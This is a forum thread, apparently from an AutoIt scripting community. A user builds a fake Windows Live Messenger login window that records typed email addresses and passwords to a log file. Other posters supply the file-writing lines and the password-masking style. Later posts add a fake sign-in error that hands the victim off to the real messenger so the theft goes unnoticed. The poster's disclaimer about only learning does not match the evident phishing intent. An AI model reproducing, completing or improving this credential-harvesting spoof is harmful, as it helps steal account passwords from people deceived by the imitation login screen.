Sign in to follow this  
Followers 0
nf67

Log inputbox content to file.txt

10 posts in this topic

#1 ·  Posted (edited)

Hello there,

I'm trying to code a fake msn which sends the content of the boxes filled in to a text file.

To do this, I created a GUI with a background ( a screenshot of the sign-in window ) but because it's just a picture I put real working inputboxes on it.

Also the Aanmelden* ( see below for translations ) button has a real working button placed on it.

Questions:

How do I log the content of $Email and $Wachtwoord to a .txt file?

FileWriteLine("C:\ProjectCake\log.txt", $Email)
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord)

only writes down 5 and 6 in the log.txt

How do I set Enter as the hotkey for the button $Aanmelden?

HotKeySet("{Enter}", "$Aanmelden")

Doesn´t work

----------------------------------------------------------------------

Here's my GUI code:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Windows Live Messenger", 329, 636, 193, 125)
$Aanmelden = GUICtrlCreatePic("C:\ProjectCake\MKaanmelden.bmp", 112, 448, 69, 21, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$MSNVenster = GUICtrlCreatePic("C:\ProjectCake\MWgeenknopgeenvakken.bmp", 0, 0, 329, 636, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Email = GUICtrlCreateInput("", 48, 212, 241, 21)
$Wachtwoord = GUICtrlCreateInput("", 48, 258, 241, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
             HotKeySet("{Enter}", "$Aanmelden"); Doesn't work
Case $Aanmelden                       

FileWriteLine("C:\ProjectCake\log.txt", $Email); Only writes 5 or 6
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord); Only writes 5 or 6

    EndSwitch
WEnd

*********

Email translaten to E-mail

Aanmelden translates to Sign-in

Wachtwoord translates to Password

*********

Thanks for your help,

Sorry if such a program isn't allowed on these forums, it is only used to improve my knowledge of AutoIt.

It won't be used to hack into accounts ( if I'd want to do that I'd just download some crappy hacking tool )

Edited by nf67

Share this post


Link to post
Share on other sites



Hello there,

I'm trying to code a fake msn which sends the content of the boxes filled in to a text file.

To do this, I created a GUI with a background ( a screenshot of the sign-in window ) but because it's just a picture I put real working inputboxes on it.

Also the Aanmelden* ( see below for translations ) button has a real working button placed on it.

Now what I'm trying to do is:

if Aanmelden* (button) is pressed:

send content of Email* (input)

to C:\log.txt

send content of Wachtwoord* (input)

to C:\log.txt

----------------------------------------------------------------------

Here's my GUI code:

Sendcontentof $Email to C:\log.txt ;How do you code this?
 Sendcontentof $Wachtwoord to C:\log.txt;How do you code this?

*********

Email translaten to E-mail

Aanmelden translates to Sign-in

Wachtwoord translates to Password

*********

Thanks for your help,

Sorry if such a program isn't allowed on these forums, it is only used to improve my knowledge of AutoIt.

It won't be used to hack into accounts ( if I'd want to do that I'd just download some crappy hacking tool )

FileWriteLine("C:\log.txt", $Email)
FileWriteLine("C:\log.txt", $Wachtwoord)

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

FileWriteLine("C:\log.txt", $Email)
FileWriteLine("C:\log.txt", $Wachtwoord)
Thank ou GEOSoft, but when I fill in something at the boxes, it will only say 5 and 6...

My log.txt is only has 5 and 6 in it now :D

How can I get the real text and not just a value?

My code at the moment:

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Windows Live Messenger", 329, 636, 193, 125)
$Aanmelden = GUICtrlCreatePic("C:\ProjectCake\MKaanmelden.bmp", 112, 448, 69, 21, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$MSNVenster = GUICtrlCreatePic("C:\ProjectCake\MWgeenknopgeenvakken.bmp", 0, 0, 329, 636, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
$Email = GUICtrlCreateInput("Email", 48, 212, 241, 21)
$Wachtwoord = GUICtrlCreateInput("Wachtwoord", 48, 258, 241, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
Case $Aanmelden                       

FileWriteLine("C:\ProjectCake\log.txt", $Email)
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord)

    EndSwitch
WEnd
Edited by nf67

Share this post


Link to post
Share on other sites

Oh, how do I make an inputbox that "protects" the content, you know by showing dots instead of the actual characters? I thought I'd find it by just seraching the forums but no.. :S

Thanks

Share this post


Link to post
Share on other sites

guiCtrlCreateInput("",0,0,0,0,0x0020)

GUI Control Styles under the inputbox section

Share this post


Link to post
Share on other sites

#7 ·  Posted (edited)

guiCtrlCreateInput("",0,0,0,0,0x0020)

GUI Control Styles under the inputbox section

Thanks, works perfectly

Edited by nf67

Share this post


Link to post
Share on other sites

Going to try to make an Unable to login error, if you click ok it launches the real msn so on second attempt you will succeed

Share this post


Link to post
Share on other sites

#9 ·  Posted (edited)

Need some help here:

Error: unable to sign in

if you click Retry it should pop up again

if you click Cancel it should close

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
             HotKeySet("{Enter}", "$Aanmelden"); Doesn't work
Case $Aanmelden                   

FileWriteLine("C:\ProjectCake\log.txt", $Email); Only writes 5 or 6
FileWriteLine("C:\ProjectCake\log.txt", $Wachtwoord); Only writes 5 or 6
sleep ( 3000 ) 

MsgBox ( 5, "Fout bij inloggen", "Het aanmelden bij WIndows Live Messenger is mislukt. Probeer het later opnieuw. Foutcode: 67711nf3" ) 
if 4 then; IT SHOULD REPEAT FROM HERE 
MsgBox ( 5, "Fout bij inloggen", "Het aanmelden bij WIndows Live Messenger is mislukt. Probeer het later opnieuw. Foutcode: 67711nf3" ) 
else
Winkill ( "Fout bij het inloggen" ) 
endif; TO HERE I THINK.. NOT SURE...(sorry for caps )

    
    EndSwitch
WEnd
Edited by nf67

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0